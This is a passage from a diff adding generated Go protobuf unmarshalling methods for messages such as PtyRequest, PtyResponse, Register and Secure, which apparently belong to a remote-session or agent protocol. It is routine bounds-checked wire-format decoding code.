io.ErrUnexpectedEOF + } + m.OutputPath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Time", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Time = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.SessionId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Shell", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Shell = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Cols", wireType) + } + m.Cols = 0 + m.Cols, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Rows", wireType) + } + m.Rows = 0 + m.Rows, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.InputData = append(m.InputData[:0], dAtA[iNdEx:postIndex]...) + if m.InputData == nil { + m.InputData = []byte{} + } + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field InputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.InputText = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *PtyResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: PtyResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: PtyResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionId", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.SessionId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputData", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputData = append(m.OutputData[:0], dAtA[iNdEx:postIndex]...) + if m.OutputData == nil { + m.OutputData = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field OutputText", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.OutputText = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Error = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SessionActive", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.SessionActive = bool(v != 0) + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ActiveSessions", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ActiveSessions = append(m.ActiveSessions, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Metadata", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Metadata == nil { + m.Metadata = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Metadata[mapkey] = mapvalue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *CommonBody) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: CommonBody: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: CommonBody: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType == 0 { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U32Array) == 0 { + m.U32Array = make([]uint32, 0, elementCount) + } + for iNdEx < postIndex { + var v uint32 + v, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + m.U32Array = append(m.U32Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U32Array", wireType) + } + case 4: + if wireType == 0 { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + var count int + for _, integer := range dAtA[iNdEx:postIndex] { + if integer < 128 { + count++ + } + } + elementCount = count + if elementCount != 0 && len(m.U64Array) == 0 { + m.U64Array = make([]uint64, 0, elementCount) + } + for iNdEx < postIndex { + var v uint64 + v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + m.U64Array = append(m.U64Array, v) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field U64Array", wireType) + } + case 6: + if wireType == 0 { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } else if wireType == 2 { + var packedLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + packedLen = int(_v) + if err != nil { + return err + } + if packedLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + packedLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var elementCount int + elementCount = packedLen + if elementCount != 0 && len(m.BoolArray) == 0 { + m.BoolArray = make([]bool, 0, elementCount) + } + for iNdEx < postIndex { + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BoolArray = append(m.BoolArray, bool(v != 0)) + } + } else { + return fmt.Errorf("proto: wrong wireType = %d for field BoolArray", wireType) + } + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringArray", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.StringArray = append(m.StringArray, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field BytesArray", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.BytesArray = append(m.BytesArray, make([]byte, postIndex-iNdEx)) + copy(m.BytesArray[len(m.BytesArray)-1], dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Ping) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Ping: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Ping: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + m.Nonce = 0 + m.Nonce, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Register) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Register: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Register: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Proxy", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Proxy = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Module", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Module = append(m.Module, stringValue) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Timer", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Timer == nil { + m.Timer = &Timer{} + } + if err := m.Timer.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sysinfo", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sysinfo == nil { + m.Sysinfo = &SysInfo{} + } + if err := m.Sysinfo.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Secure", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Secure == nil { + m.Secure = &Secure{} + } + if err := m.Secure.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Secure) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Secure: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Secure: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enable", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enable = bool(v != 0) + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Key = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = 